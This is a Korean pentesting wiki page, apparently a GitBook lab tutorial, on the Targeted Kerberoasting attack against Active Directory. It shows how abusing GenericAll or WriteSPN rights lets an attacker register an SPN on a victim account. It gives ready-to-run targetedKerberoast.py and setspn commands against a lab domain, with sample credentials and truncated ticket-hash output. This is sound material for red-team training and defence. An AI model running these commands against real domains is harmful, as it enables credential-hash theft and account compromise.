펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 민감정보 탈취
  2. Active Directory

Targeted Kerberoast

PreviousTimeroastingNextASRep-Roasting

Last updated 16 days ago

Was this helpful?

Targeted Kerberoas 공격은 SPN이 등록되지 않은 사용자 계정을 강제로 등록하여 커버로스팅 공격을 허용하도록 한 뒤, 해쉬 크래킹을 사용하는 공격입니다. SPN을 등록하기 위해서는 GenericWrite, GenericAll, WriteSPN 권한 중 하나가 필요합니다.

보통 이러한 권한은 특별하게 다른 사용자에게 위임하는 경우를 제외하고는 계정 운영자 그룹(Account Operator Group)이 소유하고 있습니다. 계정 운영자 그룹 혹은 GenericAll/GenericWrite 권한을 가진 사용자가 직접적인 권한상승 방법이 아닌 평균 성공률 1%의 해쉬크래킹 공격을 시도하는 이유는 은닉성, 지속성, 가용성 때문입니다.

Practice

실습 머신에서 장악한 wiki 사용자는 vulnuser 계정에 대해서 GenericAll 권한이 있습니다. GenericWrite와 WriteSPN 권한 모두 동일하게 개체의 SPN을 도메인에 등록할 수 있기 때문에 실습에서는 세가지 권한에 대한 각각의 실습이 아닌, GenericAll 권한에 대한 실습만 진행합니다.

# 명령어 양식
python3 targetedKerberoast.py -v -d <Domain> -u <USER> -p <PASS> --request-user <Target> --only-abuse

└─# python3 targetedKerberoast.py -v -d pentesting.wiki -u wiki -p password123! --request-user vulnuser --only-abuse
[*] Starting kerberoast attacks
[*] Attacking user (vulnuser)
[VERBOSE] SPN added successfully for (vulnuser)
[+] Printing hash for (vulnuser)
$krb5tgs$23$*vulnuser$PENTESTING.WIKI$pentesting.wiki/vulnuser*$9e554d695480fbf858681
...
[VERBOSE] SPN removed successfully for (vulnuser)                                 
# 명령어 양식
setspn -A HTTP/<Domain>/<Target> <Domain>\<Target>

*Evil-WinRM* PS C:\> setspn -A HTTP/pentesting.wiki/vulnuser pentesting.wiki\vulnuser
Checking domain DC=pentesting,DC=wiki

Registering ServicePrincipalNames for CN=vulnuser,CN=Users,DC=pentesting,DC=wiki
        HTTP/pentesting.wiki/vulnuser
Updated object
*Evil-WinRM* PS C:\> setspn -L pentesting.wiki\vulnuser
Registered ServicePrincipalNames for CN=vulnuser,CN=Users,DC=pentesting,DC=wiki:
        HTTP/pentesting.wiki/vulnuser

References

Targeted Kerberoasting | The Hacker Recipes
WriteSPNBloodHound
GenericAll | 레드팀 플레이북
Logo
Logo
Logo